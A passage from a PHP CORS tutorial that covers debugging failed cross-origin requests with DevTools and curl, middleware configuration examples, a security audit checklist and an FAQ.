"Credential is not supported if the CORS header 'Access-Control-Allow-Origin'
is '*'"
CAUSE: Server sets both * and Allow-Credentials: true — invalid combination
FIX: Remove *, echo back specific requesting origin instead
Step 2: Inspect the Network Tab
In Chrome/Firefox DevTools → Network tab:
1. Find the failed request (might show as red)
2. Click it and check:
- Request Headers tab: Is 'Origin' present? What value?
- Response Headers tab: Is 'Access-Control-Allow-Origin' present?
Does it match the request origin?
3. Look for a separate OPTIONS request before the actual request:
- If OPTIONS returned 4xx: your preflight handler is wrong
- If OPTIONS returned 200/204 but the main request still fails:
The actual response is missing CORS headers (not just the preflight)
4. Check the 'Preview' or 'Response' tab for the OPTIONS response —
it may contain a useful error message from your PHP error handling
Step 3: Test the Raw Headers with curl
# Test preflight:
curl -i -X OPTIONS \
-H "Origin: https://frontend.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type, Authorization" \
https://api.example.com/endpoint
# Expected preflight response headers:
# HTTP/2 204
# access-control-allow-origin: https://frontend.com
# access-control-allow-methods: GET, POST, PUT, DELETE, OPTIONS
# access-control-allow-headers: Content-Type, Authorization
# access-control-allow-credentials: true
# access-control-max-age: 3600
# vary: Origin
# Test actual request:
curl -i -X POST \
-H "Origin: https://frontend.com" \
-H "Content-Type: application/json" \
-d '{"test": true}' \
https://api.example.com/endpoint
# Expected actual response headers:
# HTTP/2 200
# access-control-allow-origin: https://frontend.com
# access-control-allow-credentials: true
# vary: Origin
# content-type: application/json
Step 4: Common Mismatches to Check
<?php
// Debug helper — add temporarily to your PHP CORS handler:
if ($_SERVER['REQUEST_URI'] === '/api/cors-debug') {
header('Content-Type: application/json');
echo json_encode([
'received_origin' => $_SERVER['HTTP_ORIGIN'] ?? 'NO ORIGIN HEADER',
'request_method' => $_SERVER['REQUEST_METHOD'],
'request_headers' => $_SERVER['HTTP_ACCESS_CONTROL_REQUEST_HEADERS'] ?? 'none',
'response_headers' => headers_list(),
'allowed_origins' => $allowedOrigins ?? [],
'php_version' => PHP_VERSION,
]);
exit;
}
Part 9 — Complete Usage Examples for Real-World Scenarios
Scenario 1: Single-Page Application + PHP REST API
<?php
// api/index.php — The PHP API that the SPA calls
require_once '../CorsMiddleware.php';
$cors = CorsMiddleware::privateApi([
'https://myapp.com',
'https://www.myapp.com',
'https://staging.myapp.com',
'http://localhost:3000', // Development only — remove in production
'http://localhost:5173', // Vite dev server
]);
if (!$cors->handle()) exit;
// Route the request:
$path = parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH);
$method = $_SERVER['REQUEST_METHOD'];
header('Content-Type: application/json; charset=UTF-8');
match(true) {
$path === '/api/users' && $method === 'GET' => handleGetUsers(),
$path === '/api/users' && $method === 'POST' => handleCreateUser(),
default => (function() {
http_response_code(404);
echo json_encode(['error' => 'Endpoint not found']);
})()
};
Scenario 2: Third-Party Widget Embedded on Customer Sites
<?php
// widget-api.php — API for a JavaScript widget embedded on external sites
// The widget loads on sites you don't control — truly public API
require_once '../CorsMiddleware.php';
// Public: any site can use this widget
$cors = CorsMiddleware::publicApi();
if (!$cors->handle()) exit;
header('Content-Type: application/json; charset=UTF-8');
echo json_encode(['widget_data' => getWidgetData()]);
Scenario 3: Multi-Tenant SaaS
<?php
// api/v2/index.php — Multi-tenant API where each tenant has their own frontend domain
require_once '../../CorsMiddleware.php';
// Fetch allowed origins from database for the current tenant
// (identified by API key or subdomain):
$apiKey = $_SERVER['HTTP_X_API_KEY'] ?? '';
$tenant = getTenantByApiKey($apiKey);
$cors = new CorsMiddleware([
'allowed_origins' => $tenant ? $tenant['allowed_origins'] : [],
'allowed_methods' => ['GET', 'POST', 'PUT', 'DELETE', 'OPTIONS'],
'allowed_headers' => ['Content-Type', 'Authorization', 'X-API-Key'],
'exposed_headers' => ['X-Total-Count', 'X-RateLimit-Remaining', 'X-Request-Id'],
'allow_credentials' => false,
'max_age' => 3600,
]);
if (!$cors->handle()) exit;
Part 10 — CORS Security Audit Checklist
BEFORE DEPLOYING ANY API WITH CORS:
──────────────────────────────────────────────────────────────────────
□ No origin reflection without allowlist validation
grep -rn 'HTTP_ORIGIN' your_api_directory/
For every match: verify it compares against an explicit list
□ No wildcard (*) with credentials
grep -rn 'Allow-Credentials' your_api_directory/
For every match: verify origin is specific, not *
□ No 'null' origin accepted
grep -rn "'null'" your_api_directory/
Ensure no code path sets ACAO: null
□ Vary: Origin present when echoing dynamic origin
Test: curl -H "Origin: https://a.com" your_api | grep -i vary
Test: curl -H "Origin: https://b.com" your_api | grep -i vary
Both responses must include Vary: Origin
□ Preflight returns 204 (not 200 with body)
curl -X OPTIONS -H "Origin: https://test.com" your_api | head -1
Should show: HTTP/2 204
□ Content-Type: application/json triggers preflight
curl -X OPTIONS -H "Origin: ..." -H "Access-Control-Request-Method: POST"
-H "Access-Control-Request-Headers: content-type" your_api
Response should include content-type in allowed headers
□ Subdomain patterns are correctly bounded
Test: curl -H "Origin: https://evilnotexample.com" your_api
Should NOT get ACAO header if domain is example.com
□ Access-Control-Max-Age is set (prevents preflight on every request)
curl -X OPTIONS -H "Origin: ..." your_api | grep -i max-age
Should show a positive integer value
□ Exposed headers listed for pagination/rate-limit headers
If API sends X-Total-Count or Link, they must be in Expose-Headers
Test: response.headers.get('X-Total-Count') in browser console
□ Options responses do NOT include sensitive data
curl -X OPTIONS your_api
Body should be empty or "{}" — not internal server info
──────────────────────────────────────────────────────────────────────
CORS Is a Browser Feature, Not a PHP Feature
The most important thing to understand about CORS — absent from the original article — is that CORS headers are instructions to the browser, not protection for your server. The request arrives regardless. PHP processes it regardless. The CORS headers only control whether the browser hands the response to the requesting JavaScript code.
This means:
- CORS does not replace authentication. A Authorization: Bearer TOKEN header in every request is what actually protects your API data. CORS just controls cross-origin JavaScript access.
- Server-to-server calls are never affected by CORS. A Python script, a curl command, or a PHP script calling your API never sees CORS restrictions — those only exist in browsers.
- The dangerous misconfigurations are all about credentials. Wildcard (*) for fully public, non-authenticated APIs is completely safe. Wildcard for authenticated APIs is dangerous. The only meaningful CORS security question is: can any website trigger authenticated requests on behalf of my users?
- Vary: Origin is the header most commonly forgotten and most often needed. Any API with a multi-origin allowlist and any CDN in front of it needs this header to prevent caching one origin’s permissions and serving them to another.
The production middleware class in Part 3 encodes all of these lessons in one reusable class that prevents all five dangerous misconfigurations by construction. Use it as your starting point, configure the right factory method for your use case, and you’ll never spend another afternoon debugging an intermittent CORS caching bug at 2am.
Frequently Asked Questions
What is Cross-Origin Resource Sharing (CORS)?
Why is CORS important in PHP applications?
What causes a CORS error?
How do I enable CORS in PHP?
What does Access-Control-Allow-Origin do?
What is a CORS preflight request?
Should I use Access-Control-Allow-Origin: *?
How do I handle OPTIONS requests in PHP?
Can CORS prevent cyberattacks?
What's the difference between CORS and the Same-Origin Policy?
Does CORS affect REST APIs?
What are the most common CORS response headers?
The most frequently used CORS headers include:
- Access-Control-Allow-Origin
- Access-Control-Allow-Methods
- Access-Control-Allow-Headers
- Access-Control-Allow-Credentials
- Access-Control-Max-Age
- Vary: Origin
These headers control which origins, methods, headers, and credentials are permitted for cross-origin requests.
“Fantastic breakdown of CORS in PHP! This article really clarifies the ‘why’ behind Cross-Origin Resource Sharing and provides clear, actionable examples for setting the necessary HTTP headers. I especially appreciate the detailed explanation of Access-Control-Allow-Origin and the security considerations. This will be a go-to resource for anyone struggling with CORS issues in their PHP applications. Thanks for sharing such a valuable guide!”